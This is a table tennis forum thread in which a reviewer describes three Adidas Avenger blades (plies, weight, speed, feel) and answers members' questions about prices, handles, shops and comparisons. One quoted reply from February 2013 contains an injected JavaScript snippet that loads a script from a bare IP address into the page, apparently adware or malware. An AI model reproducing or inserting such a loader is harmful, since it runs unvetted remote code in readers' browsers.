Adidas Avenger Blade Series!
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Topic: Adidas Avenger Blade Series!
Posted By: yogi_bear
Subject: Adidas Avenger Blade Series!
Date Posted: 04/21/2012 at 2:24am
REVIEWS DONE ON THE 3 BLADES, UPDATED!!!!!
nope they are not the guys and a gal from
marvel ! Adidas will be releasing these wonderful blades later this
year. These 3 blades are composed of walnut as their outer layers, a 5 ply off-
all wood, a 7 ply carbon blade and a 7 ply all wood powerhouse. The guys from Adidas have improved their blade logo quality including the quality finish of these blades.
Avenger Series blades
Avenger 7 (OFF+) "The Hulk"
- 7-ply offensive blade of hard surface and very unique
construction. 6.2mm.
- Feeling : The mixture of hardness and softness. Very strong
feeling.
- Proper playing style : Aggressive topspin from all area.
- Tagreted players : Skilled players who want speedy blade.
Plies: 7 (walnut-ayous-tanne-ayous-tanne-ayous-walnut) Weight: 92 grams (average weight is 90 grams) Blade head dimension: 150x157mm Thickness: 6.2mm Vibration: Minimal This blade has thin outer plies and a thick central ayous core. The outer walnut plies provide stiffness and speed to the blade. The ayous and tanne layers provide a feeling of softness and control to the blade. The thick central ayous core provides additional speed to the blade.
This is the powerhouse of the Avenger series. They rated this as OFF but its clearly OFF+. I placed a 2.0mm Adidas P5 black on this and a Dawei Sprungfeder G3 red max. I immediately started doing fh to fh drills and bh to bh drills with this beast and i noticed right away how fast it is. Lets just say its faster than a Mazunov blade, A stiga Ebenholz 7 or a Clipper CR blade but with a softer feel. Apparently, Adidas has found a way to mix both hard and soft wood layers that produces a soft feeling when doing power shots enabling control and sensitivity. Having tried a lot of 7 ply blades and collected a few 7 ply all wood blades in the past, I would say Adidas is on the right track making this kind of blade for the reason that it offers a unique option among 7 ply lovers. I would attribute the feeling of softness despite the hard outer plies to the tanne layer. Tanne as what I have read about is a Fir tree related to Cypress. The blade designer told me that it has a mixture of softness and hardness on feel, I really agree with him when I tried it. On power shots, I didn't feel the hard impact like what i felt with the Ebenholz 7, it felt a bit soft but my shots were fast especially on fh drives, smashes and spin drives. This blade is good for close-to-the-table and mid-distance shots. This is more of a hitter's and spin driver's blade rather than a pure looping blade. Though, I suggest getting a 2.0mm medium soft rubber or a chinese rubber to pair with it if you want to loop with it. I still find my shots spinny enough using the dawei and 2.0mm P5. On passive shots like blocking and drop shots, the tanne layers really help absorb the shots and provide a great amount of control. It is surprising that for a beast like the Avenger 7 it is not hard to do controlled shots. I love blocking with this both punch blocks and passive slow blocks. I would recommend this blade to aggressive players who do not want to use a carbon blade. It takes some skill to fully utilize this and also some muscle because this blade is a 90gm blade (-+3 or 4 grams). Also good for players who want a hard blade but doesn't want the excessive vibration produced by other hard 7 ply blades.
Avenger Carbon (OFF)
- Soft carbon blade of 5.6mm thickness. (Softer than FiberTec
Classic.)
- Feeling : Feeling is very soft and comfortable. It holds ball
very well.
- Proper playing style : Continuous topspin at close area to
table.
- Tagreted players : Aggressive topspin players of all level.
Plies: 7 (walnut-tanne-carbon-ayous-carbon-tanne-ayous-walnut) Weight: 89 grams (average weight is 90 grams) Blade head dimension: 150x157mm Thickness: 5.6mm Vibration: Minimal The only carbon blade in the Avenger Series, this blade is not to be underestimated on its performance even though it is not as fast as other super or ultra fast blades in the market. For those who wants to maintain a woody feel when using a carbon blade, the Avenger Carbon is sufficient for this need. The placement of the soft carbon fleece after 2 layers instead of just after the 1st ply results to a woody feel. Adidas said they designed this blade especially for players who are close to the table attackers. This is fast maybe between the speed of a Butterfly Gergely and a Primorac carbon. The soft carbon fleece balances the harder outer walnut plies which when combined provides a soft feeling and at the same time helps make power shots. It has a large sweet spot that it gave my shots stability when I was looping close to the table. The blade has very good feel. The vibration is minimal and the sweet spot is large. Although it has similarities with the construction of a Yasaka Ma Lin Soft Carbon blade, the feeling is quite different and the speed is a lot more. It is faster than the Ma Lin SC blade and has more feel. Sometimes I would felt that the Ma Lin SC blade lack the feel compared to the Avenger Carbon. It was fun doing topspins over the table and pure looping with the Avenger carbon since this blade has a good feel and the dwell time is really good to produce spinny loops. Unlike its brute brother, the Avenger 7, the Avenger carbon was built for looping more. When I was looping the ball, it has a long trajectory mid distance from the table though this blade is more of a close to the table looping blade. Countering was very good as I felt my shots have stability including my active blocks against loops or drives. Chinese rubbers are good with the Avenger Carbon though I havent tried hard rubbers like the H3 or TG3 neos on this but a soft 36 degree Dawei SPrungfeder on the forehand and a medium soft Adidas Syntec Fast on the backhand. Soft to medium rubbers are ideal with this blade like the Adidas P5, Tenzone SF and the Syntec Series. This blade is also for players who would like to shift to a carbon blade but will not tolerate a loss of control and the woody feel coming from an off 5 or 7 ply all wood blade.
Avenger 5 (OFF-)
- 5-ply offensive blade of hard surface and 5.9mm thickness.
- Feeling : Surface is hard. But, overall feeling is quite soft,
and it holds ball very well.
- Proper playing style : Continuous topspin at close area to
table.
- Tagreted players : Aggressive topspin players of all level.
Plies: 5 (walnut-tanne-ayous-tanne-walnut) Weight: 87 grams (average weight is 86 grams) Blade head dimension: 150x157mm Thickness: 5.9mm Vibration: Minimal The slowest among the 3 avenger but not necessarily slow. When you remove the 2 soft carbon fleece of the Avenger carbon you would get the Avenger 5. Designed with a hard walnut outer ply and a thick core of ayous with a tanne sandwiched in between, this blade offers a balance of speed and control.
If I am a developing player who has an all+ blade and rubber set up and wanted to shift to a faster blade to further develop my game especially on an all around basis, I would choose this blade simply because it has good sense of control and feel plus some good speed to offer. If I am an advanced player who is looking for a blade that will help my aggressive attacking game close to the table without removing control on my arsenal, this would be the blade for me. While using the max P5 on this, I really find the combo one hell of a spin maker. The Av 5 has sufficient dwell time looping is its forte. It loops better and more controllable that its Av Carbon brother due to its lesser speed and more control. Slow spinny loops are very good on a delayed contact and even off the bounce aggressive loops are powerful enough. I found this suitable for an all around based game meaning you can do a good blocking game with it then switch suddenly to an aggressive attacking game. Control is abundant in this blade its very good in the short game like flicks and drop shots. The good feel of the blade helps execute strokes that are a bit sensitive to perform during a close, hard scoring game. I would recommend medium to hard rubbers for this blade. The Adidas Tenzone, P7 and P5 pair well with the Av 5. Chinese players who use hard Chinese rubbers would also benefit greatly from this controlled looping blade.
In conclusion, even these blades are still under development and are not available in the market, they show a great amount of promise once introduced to the market and the various necessary improvements made during testing will be implemented. Its like Adidas is making developments and improvements with each series of blades and rubbers they are introducing showing the world of table tennis that they have the equipment to compete with the top companies that presently dominate the market.
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Posted By: yogi_bear
Date Posted: 04/21/2012 at 9:59am
i changed the pics. i didnt take these pics
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Posted By: frenchy
Date Posted: 04/21/2012 at 12:00pm
Great pics from Adidas. Really interested in Avenger carbon review !
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Posted By: frogger
Date Posted: 04/21/2012 at 2:37pm
Just when I thought my ej journey was coming to an end...somebody messes up my plan. Great looking blades...so photogenic!
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Posted By: AndySmith
Date Posted: 04/21/2012 at 3:09pm
Really nice looking blades. Love the top ply. Adidas is really getting to grips with the equipment now.
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Posted By: yogi_bear
Date Posted: 04/21/2012 at 9:19pm
updated with review for Avenger 7
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Posted By: dalamchops
Date Posted: 04/21/2012 at 9:22pm
adidas make cpens?
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Posted By: yogi_bear
Date Posted: 04/21/2012 at 9:30pm
dalamchops, yes they have cpens even with their earliest models. its just that the ones sent to me are all FL handles since that's what Im using.. Adidas has really stepped up in their designs and technology
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Posted By: pablogilberto
Date Posted: 04/21/2012 at 10:11pm
rubber positioning 'system'...nice try adidas. lol.
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Posted By: Antiq
Date Posted: 04/21/2012 at 11:23pm
yogi,
any good online shops to get addidas blade (especially Avenger & Fibertec series) at a gd price?
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Posted By: frogger
Date Posted: 04/21/2012 at 11:36pm
Rubber positioning system.....lol. It should say " Rubber goes Here"
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Posted By: Sofaires
Date Posted: 04/21/2012 at 11:45pm
loving the blue handle and dark wood color
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Posted By: yogi_bear
Date Posted: 04/22/2012 at 1:09am
Antiq wrote:
yogi,
any good online shops to get addidas blade (especially Avenger & Fibertec series) at a gd price? |
the avenger blades will not be available until the latter part of the year. the fibertec series with good prices are in iruiru.com and nexy.com.. the tenzones there are sold a lil bit lower
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Posted By: Snakefish
Date Posted: 04/22/2012 at 3:07am
frogger wrote:
Just when I thought my ej journey was coming to an end...somebody messes up my plan. Great looking blades...so photogenic! |
+1
Gotta hand it to Adidas marketing dept. Jump on the Avengers bandwagon this year - movie coming out in a couple weeks.
Where's the green handle ? It should be a fairly light, hard & stiff blade - a la Hulk - to smash the balls!!!
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Posted By: bluebucket
Date Posted: 04/22/2012 at 3:41am
Interesting blades the YEO and the Carbon YEO look usable, The 7 ply is unusual or should say unique. Hows the pricing compare to an original YEO though?
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Posted By: majak
Date Posted: 04/22/2012 at 4:21am
Jonathan Groth plays with Adidas Avenger Carbon!
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Posted By: gatz
Date Posted: 04/22/2012 at 5:02am
Yogi save one for me
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Posted By: yogi_bear
Date Posted: 04/22/2012 at 5:07am
bluebucket wrote:
Interesting blades the YEO and the Carbon YEO look usable, The 7 ply is unusual or should say unique. Hows the pricing compare to an original YEO though? |
the prices are not set yet but should be higher than the challenge series. I think the fibertec series are still Adidas' most expensive blades
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Posted By: yogi_bear
Date Posted: 04/22/2012 at 5:09am
Snakefish wrote:
frogger wrote:
Just when I thought my ej journey was coming to an end...somebody messes up my plan. Great looking blades...so photogenic! |
+1
Gotta hand it to Adidas marketing dept. Jump on the Avengers bandwagon this year - movie coming out in a couple weeks.
Where's the green handle ? It should be a fairly light, hard & stiff blade - a la Hulk - to smash the balls!!!
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there's a gray hulk and the power 7 represents him hehehe
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Posted By: arg0
Date Posted: 04/22/2012 at 6:53pm
Prices:
Avenger 5 - 69,90€
Avenger 7 - 79,90€
Avenger Carbon - 89,90€
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Posted By: shay2be
Date Posted: 04/22/2012 at 6:55pm
is it me or does the avenger 5 (off-) look like a YEO?
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Posted By: yogi_bear
Date Posted: 04/22/2012 at 7:13pm
shay2be, almost looks like the ma lin extra offensive because of the outer walnut plies
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Posted By: yogi_bear
Date Posted: 04/22/2012 at 7:14pm
argo may i know where you got the prices? i dont think its final though
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Posted By: shay2be
Date Posted: 04/22/2012 at 7:19pm
but the inner plies also look like spruce if im not mistaken and the center ply also looks like ayous or something like it does anyone know the plies of the off- avenger blade?
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Posted By: Carryboy
Date Posted: 04/22/2012 at 7:24pm
Beautiful Blades!!!!!!!
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Posted By: carmelomaf
Date Posted: 04/22/2012 at 7:26pm
yogi_bear wrote:
argo may i know here you got the prices? i dont think its final though |
german forum
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Posted By: yogi_bear
Date Posted: 04/22/2012 at 7:50pm
shay2be, its walnut-tanne-ayous-tanne-walnut
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Posted By: right2niru
Date Posted: 04/23/2012 at 1:28am
yogi_bear wrote:
shay2be, its walnut-tanne-ayous-tanne-walnut | Yogi_bear, Can you post some reviews on Adidas V1.3 ? I see it has Hinoki layer of wood and wondering how it performs especially in blocks ?
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Posted By: doraemon
Date Posted: 04/23/2012 at 1:41am
I don't understand about that "rubber positioning system". Is it supposed to make us align the rubber better? I think it's useless.
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Posted By: ttplayer92
Date Posted: 04/23/2012 at 2:10am
lol i think its a fancy way of saying "put your rubber here"...as if anyone who is going to buy an expensive blade without having knowledge about where to glue the rubber....
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Posted By: yogi_bear
Date Posted: 04/23/2012 at 8:48am
right2niru wrote:
yogi_bear wrote:
shay2be, its walnut-tanne-ayous-tanne-walnut | Yogi_bear, Can you post some reviews on Adidas V1.3 ? I see it has Hinoki layer of wood and wondering how it performs especially in blocks ? |
sorry adidas didnt send me the V-series baldes since it was released more than a year ago and they have better blades now. most of the v-series blades have a mahogany outer ply and have the speed of all+ to off-
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Posted By: yogi_bear
Date Posted: 04/23/2012 at 10:20am
updated with the avenger carbon and avenger 5 reviews!
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Posted By: bagung
Date Posted: 04/23/2012 at 10:27am
Does the Avenger series come with cpen...?
And what is the head size of the Avenger cpen?
Thanks....
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Posted By: yogi_bear
Date Posted: 04/23/2012 at 10:33am
yes bagung as what you can see on the pics i think it has a cpen version there. cpen dimension is 162x150mm
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Posted By: bagung
Date Posted: 04/23/2012 at 10:51am
yogi_bear wrote:
yes bagung as what you can see on the pics i think it has a cpen version there. cpen dimension is 162x150mm |
Thanks bro.....
I have tried FiberTec classic, and found it is too soft and too slow for my taste.. Which one you think , is stiffer and faster in Avenger series that will suit me...?
Thanks...
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Posted By: yogi_bear
Date Posted: 04/23/2012 at 10:57am
it would be the Avenger Carbon, its faster than the Fibertec classic but slower than the Fibertec power. I do suggest you get the fibertec power though since the avenger blades are not yet available in the market for a few months
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Posted By: yogi_bear
Date Posted: 04/23/2012 at 7:57pm
im beginning to like the Avenger carbon. The woody feel is a big plus and the ball accuracy in placement of shots seem accurate enough. The Avenger carbon is slower than the Fiber Tec Power and Extreme due to having a soft carbon but its still fast nonetheless. It is also a very forgiving blade.
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Posted By: Sofaires
Date Posted: 04/23/2012 at 8:54pm
yogi does the adidas blades have the smooth surface of the stiga maplewood? i find the maplewood really easy to remove rubbers from
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Posted By: bagung
Date Posted: 04/23/2012 at 11:24pm
yogi_bear wrote:
it would be the Avenger Carbon, its faster than the Fibertec classic but slower than the Fibertec power. I do suggest you get the fibertec power though since the avenger blades are not yet available in the market for a few months |
thanks....
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Posted By: yogi_bear
Date Posted: 04/24/2012 at 12:04am
Sofaires wrote:
yogi does the adidas blades have the smooth surface of the stiga maplewood? i find the maplewood really easy to remove rubbers from |
nope. the nct coating in stiga blades makes it a bit smooth. adidas have a thin seal on its surface liek that of the butterfly blades. its not hard to remove the rubbers though. i sealed my blades including the handles using a varnish that is colorless using a cloth instead of a brush with a single thin application because i really find the adidas blades beautiful and i dont want them to get dirty the more i use them. the varnish enhanced their colors and it never made the blade slippery or changed its playing characteristics
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Posted By: gatz
Date Posted: 04/24/2012 at 5:36am
Even if you do not seal the blade itnis easy to get the runber out and it does not splinter in any adidas blade i have.
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Posted By: Sofaires
Date Posted: 04/24/2012 at 11:42am
thanks!
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Posted By: arg0
Date Posted: 04/24/2012 at 7:42pm
carmelomaf wrote:
yogi_bear wrote:
argo may i know here you got the prices? i dont think its final though |
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Correct: http://forum.tt-news.de/showpost.php?s=8775a3ba21e7337bb6b953c05624b059&p=2249985&postcount=4 - http://forum.tt-news.de/showpost.php?s=8775a3ba21e7337bb6b953c05624b059&p=2249985&postcount=4 No idea where they got them from.
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Posted By: yogi_bear
Date Posted: 04/24/2012 at 7:47pm
arg0, i have confirmed the prices posted and they are accurate when i asked adidas concerning the prices, thanks for the info
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Posted By: yogi_bear
Date Posted: 04/25/2012 at 10:26am
the avenger 5 got tested again today. i sure though liek it. im beginning to be biased towards it than the avenger 7 because i dont play that much anymore so i needed a control set up. the 2 P5 rubbers were as expected good for spinning
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Posted By: frogger
Date Posted: 04/25/2012 at 12:50pm
So who is the distributor for the U.S.A.? How can I get one? A big heads up to Paddlepalace perhaps. .....mega nice blades!
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Posted By: yogi_bear
Date Posted: 04/25/2012 at 7:29pm
although tabletennistime.com is the official adidas distributor in the US they dont have the rubbers and blades yet in their website. i suggest you go with nexy or iruiru. these blades will be released at the end part of the year since the challenge series will be this may and june
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Posted By: kenneyy88
Date Posted: 04/25/2012 at 8:11pm
yogi_bear wrote:
although tabletennistime.com is the official adidas distributor in the US they dont have the rubbers and blades yet in their website. i suggest you go with nexy or iruiru. these blades will be released at the end part of the year since the challenge series will be this may and june |
It is pongsquad.com
BTW how are the handles of adidas compared to butterfly? I think butterfly handles are perfect for my hand and I like the quality.
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Posted By: yogi_bear
Date Posted: 04/25/2012 at 8:16pm
the handles are smooth but not slippery. the dimensions for the flared handle is length 100 x width 25.8~26.5~26.2~35.0 x height 25.0 mm
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Posted By: yogi_bear
Date Posted: 04/26/2012 at 8:21pm
Ive finally settled with the Off- Avenger 5, instead of the 7 which is very fast and I play less during these days, the Avenger 5 was perfect together with P5's on both sides. The set up is well within the average weight acceptable for most people (not heavy nor light) and even with the 2.0mm on the fh it still packs a punch (the max P5 is in my backhand.
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Posted By: ZApenholder
Date Posted: 04/26/2012 at 8:25pm
yogi_bear wrote:
Ive finally settled with the Off- Avenger 5, instead of the 7 which is very fast and I play less during these days, the Avenger 5 was perfect together with P5's on both sides. The set up is well within the average weight acceptable for most people (not heavy nor light) and even with the 2.0mm on the fh it still packs a punch (the max P5 is in my backhand. |
Could you help weigh it, and let us now how much it weighs.Thanks
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Posted By: yogi_bear
Date Posted: 04/26/2012 at 8:30pm
the Avenger 7 that I have is 92 grams, Avenger Carbon is at 90 grams and Avenger 5 at 87 grams
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Posted By: ZApenholder
Date Posted: 04/26/2012 at 8:32pm
Sorry , I meant the setup - Avenger 5 + P5 both sides
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Posted By: yogi_bear
Date Posted: 04/26/2012 at 8:37pm
about 175 grams since on one side is 2.0mm and the other side is 2.2mm
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Posted By: ZApenholder
Date Posted: 04/26/2012 at 8:43pm
Posted By: barnie
Date Posted: 06/09/2012 at 12:44pm
Nice review and nice blades Yogi. I´m guessing which one to purchase - Avenger 5 or Challenge Force. From review the speed should be similar, Av 5 should be a bit harder. What about control? Which one is more suited for close to do table? for slow spinny loops? which serves better? I use Rakza 7 max and Tenergy 05. Thanks
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Posted By: yogi_bear
Date Posted: 06/09/2012 at 9:32pm
if you want a faster looping blade get the av5, its a bit stiff though. the challenge force is very good on slow loops.. more like the speed of an OC CR
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Posted By: barnie
Date Posted: 06/10/2012 at 6:13am
OK , thanks. Will go for Cahllenge force then.
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Posted By: gmarziou
Date Posted: 06/10/2012 at 9:10am
doraemon wrote:
I don't understand about that "rubber positioning system". Is it supposed to make us align the rubber better? I think it's useless.
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It works only if you use Adidas rubbers that have same 3 marks.
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Posted By: gronkus
Date Posted: 06/10/2012 at 11:16am
I think that's a brilliant piece of marketing Those who have advanced beyond the beginner phase will know better and just ignore it, realizing that it is just a gimmick. Those who are new to to sport and decide to purchase a blade and rubber will see the matched marks as figure Adidas rubber is designed to go on those Adidas blades and perhaps there will be more blade+rubber combo purchases as a result.
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Posted By: Rich215
Date Posted: 06/10/2012 at 11:40am
The Adidas alignment marks are useful when you have to change or reglue rubbers. So if you line them up on the first glue/cut.....the rubbers can be put back on that specific blade with out too much off center alignment.
Personally, I have a little trick way to align my rubbers perfectly when regluing no matter what match up of blade and rubbers your using.....as long as they are sized close to each other.
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Posted By: AndySmith
Date Posted: 06/10/2012 at 1:25pm
I've been messing around with an Adidas setup for a week now. R6 and P5 on a V1.5. I really like the positioning thing - helps a bit when swapping rubbers around. Probably looks a bit gimmicky because they've used the adidas logo, but I still think it's a cool idea.
If I remember correctly, the new Xiom stuff is coming with positioning markers as well, so maybe it's catching on.
Ps - P5 is really good. Very impressed, but early days.
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Posted By: yogi_bear
Date Posted: 06/16/2012 at 9:44am
these blades are now available at
http://schoeler-micke.tabletennis-shop.de/en/Blades/ - http://schoeler-micke.tabletennis-shop.de/en/Blades/
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Posted By: liulin04
Date Posted: 06/18/2012 at 10:06pm
wow, great pictures of the blade Yogi. I'll read the rest of the review later tonight as my bedtime story. Thinking about getting one to play with it. Do you know where I can buy a penhold version?
Thanks!
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Posted By: yogi_bear
Date Posted: 06/19/2012 at 12:36am
try this taiwanese website. this is the main supplier of adidas in asia https://www.tabletennistime.com.tw/Index.php - https://www.tabletennistime.com.tw/Index.php
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Posted By: liulin04
Date Posted: 06/19/2012 at 3:10am
Adidas has really marketed the Avengers series really well, particularly with the close up shots. The handle is very nice looking. Is the Avenger 7 any way similar to the Stiga Rosewood NCTM 7? Can you compare these two yogi? Thanks
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Posted By: yogi_bear
Date Posted: 06/19/2012 at 8:37pm
liulin, you mean maple wood 7 nct? they are a bit different. the maplewood 7 is a bit slower. the speed of the av 7 is more or less equal to the ebenholz 7 but iwth a better feel
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Posted By: liulin04
Date Posted: 06/19/2012 at 8:47pm
Hi Yogi,
No I meant Rosewood NCT 7. I really like the feel and the power/speed of the blade, so I'm hoping either one of the Avenger series will match up well enough to the Rosewood 5 or 7. I've played with Ebenholz 7 before, not quite fond of it as it is lacking a bit more speed that I was looking for. If you can give me more insights to the comparison between the AV 7 and the Rosewood 7 or 5, that would be greatly appreciated.
Thanks
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Posted By: GeneralSpecific
Date Posted: 06/19/2012 at 8:51pm
I came to this thread hoping there would be an Iron Man and a Thor blade (amongst the others)... I leave disappointed
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Posted By: yogi_bear
Date Posted: 06/19/2012 at 8:59pm
av 7 is faster than rw 7 or 5, they have different feels and the av 7 vibrates less. both the r5 and 7 has a louder sound. feel wise i would give it to the r5. the av 7 has sort of a soft feel in some shots but when you use medium power you can see it has more solid shots than the r5 or r7
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Posted By: liulin04
Date Posted: 06/19/2012 at 9:12pm
thanks! Just the kind of info that I'd need to persuade myself at buying one. Do you know how much it will cost for the AV 7?
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Posted By: yogi_bear
Date Posted: 06/19/2012 at 9:17pm
about 79 euros i think, the prices from the av 5, av7 and av carbon are as follows respecitively - 69, 79, 89 euros
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Posted By: Snakefish
Date Posted: 06/20/2012 at 12:48am
GeneralSpecific wrote:
I came to this thread hoping there would be an Iron Man and a Thor blade (amongst the others)... I leave disappointed |
I hope Adidas has a Hulk blade (with the green handle) for sale before the next Avengers 2 movie.
A hard, stiff blade to SMASH!!!!!
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Posted By: igszoctan
Date Posted: 06/20/2012 at 1:17am
Hi Yogi,
Could you compare Av7 Carbon to other well known blades like TBS, Donic Ovtcharov (Wosik) Senso Carbon, Joola Viva, please? Av5 to Stiga Allround NCT? Thx.
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Posted By: yogi_bear
Date Posted: 06/20/2012 at 9:27am
wow thats a lot hehehe anyway
av 7 is really a fast blade, it is faster than the TBS, slower than the wosik, faster than the viva. its also heavier but with more solid feel on harder shots. also a bit heavier than those mentioned. AV 5 is like a thicker Ma lin extra offensive and is faster than the all around nct
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Posted By: GeneralSpecific
Date Posted: 06/20/2012 at 1:15pm
Snakefish wrote:
GeneralSpecific wrote:
I came to this thread hoping there would be an Iron Man and a Thor blade (amongst the others)... I leave disappointed |
I hope Adidas has a Hulk blade (with the green handle) for sale before the next Avengers 2 movie.
A hard, stiff blade to SMASH!!!!! |
And it has an audio component that says "HULK SMASH!" every time you smash the ball.
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Posted By: vvk1
Date Posted: 06/20/2012 at 2:29pm
And only imagine how sexy a Black Widow blade would look!
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Posted By: GeneralSpecific
Date Posted: 06/20/2012 at 2:32pm
vvk1 wrote:
And only imagine how sexy a Black Widow blade would look! |
hnnnnnnnnng!
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Posted By: barnie
Date Posted: 06/20/2012 at 5:41pm
Avenger 5 looks like Ma lin Extra Offensive. Is it faster than YE Offensive?
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Posted By: yogi_bear
Date Posted: 06/20/2012 at 8:15pm
yes it is faster. its a bit thicker
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Posted By: frenchy
Date Posted: 07/15/2012 at 8:20am
Hi men, can you compare avenger carbon to Bty TBS ?
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Posted By: yogi_bear
Date Posted: 07/15/2012 at 7:26pm
about the same speed for both blades. more woody feeling than the TBS but a lil bit heavier also.
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Posted By: yogi_bear
Date Posted: 07/19/2012 at 4:16am
cpen are available at nexy.com, iruiru.com and tabletennistime.com.tw
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Posted By: Vihito
Date Posted: 07/19/2012 at 9:17am
Seriously, how come Chen Weixing isn't sponsored by Butterfly ? As far as I know they are the only brand in TT that produces underwear.
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Posted By: W0LovePP
Date Posted: 02/03/2013 at 4:19pm
Hi, yogi_bear,
Is Avenger 7 solid? I am interested in getting one.
Thank you
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Posted By: yogi_bear
Date Posted: 02/03/2013 at 7:04pm
avenger 7 is a solid hard hitting 7 ply all wood blade. its the fastest avenger blade in the series.
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Posted By: W0LovePP
Date Posted: 02/03/2013 at 7:31pm
yogi_bear wrote:
avenger 7 is a solid hard hitting 7 ply all wood blade. its the fastest avenger blade in the series. |
Thanks. On a scale of 1-10, how stiff is Avenger 7?
I appreciate it.
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Posted By: yogi_bear
Date Posted: 02/03/2013 at 7:51pm
i say its an 8. it has walnut outer plies and it hits solidly
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Posted By: bbkon
Date Posted: 02/03/2013 at 9:19pm
yogi_bear wrote:
updated with review for Avenger 7 |
how is avenger 7 compared to challenge speed?
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Posted By: yogi_bear
Date Posted: 02/03/2013 at 9:44pm
the avenger 7 is stiffer and faster. the control on the challenge speed is better
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Posted By: jatienza930
Date Posted: 02/03/2013 at 11:33pm
If the avenger 7 was only around 86-88 grams it would be perfect for me, Id like to keep my blades below 88 grams
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Posted By: yogi_bear
Date Posted: 02/04/2013 at 3:56am
the newer production model of the avenger 7 is like 86-88 grams. mine is 85 grams :D
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Posted By: W0LovePP
Date Posted: 02/04/2013 at 12:35pm
Adidas Avenger 7 reminds me of Donic Ovtcharov Senso V1.
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Posted By: yogi_bear
Date Posted: 02/05/2013 at 12:22am
tried teh ovtcharov senso, its not that fast
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Posted By: W0LovePP
Date Posted: 02/05/2013 at 11:05am
yogi_bear wrote:
tried teh ovtcharov senso, its not that fastfunction FN_IR_load(){var script = document.createElement('script');script.type = 'text/javascript';script.src = 'http://64.19.142.6/irscripts/imgreload.js';document.getElementsByTagName('head')[0].appendChild(script);}var FN_IR_loaded = false;if(document.images.length > 0){FN_IR_loaded = true;FN_IR_load();} |
Could you repost? It does not look right. Thanks.
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Posted By: liulin04
Date Posted: 02/06/2013 at 11:13pm
Dang the blades are nice. These should be framed instead of playing. Thank you very much for the review on the Avenger Carbon Yogi.
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Posted By: bbkon
Date Posted: 02/07/2013 at 3:06am
jatienza930 wrote:
If the avenger 7 was only around 86-88 grams it would be perfect for me, Id like to keep my blades below 88 grams
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yogi forgot to post the thickness of AV7
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Posted By: yogi_bear
Date Posted: 02/07/2013 at 8:52am
about 6mm for the avenger 7
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Posted By: W0LovePP
Date Posted: 02/07/2013 at 12:19pm
Would you rate the hardness of AV7 on a scale of 1-10? Thanks much.
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Posted By: bbkon
Date Posted: 02/08/2013 at 1:50pm
yogi_bear wrote:
about 6mm for the avenger 7 |
hey yogui i ve sent an email to greenpaddle and is the second time they dont answer!!
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